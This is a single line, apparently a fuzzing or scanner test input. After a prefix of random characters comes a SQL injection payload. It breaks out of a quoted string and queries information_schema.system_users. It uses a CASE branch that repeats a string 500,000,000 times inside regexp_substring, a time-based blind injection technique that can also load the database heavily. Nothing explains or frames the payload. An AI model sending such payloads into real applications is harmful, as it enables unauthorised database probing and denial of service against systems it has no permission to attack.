\!&s+x{f/g_lh1c02}8%h@-\3[bs@58o/5qm%,hf%0@xm)dff0s9[^@`~s[9@1ld 1'|| ( select 'setd' from dual where 3686 = 3686  ( select  ( case when  ( 5451 = 5451 )  then regexp_substring ( repeat ( right ( char ( 5451 ) ,0 ) ,500000000 ) ,null )  else char ( 108 ) ||char ( 76 ) ||char ( 112 ) ||char ( 116 )  end )  from information_schema.system_users  )  )  ||'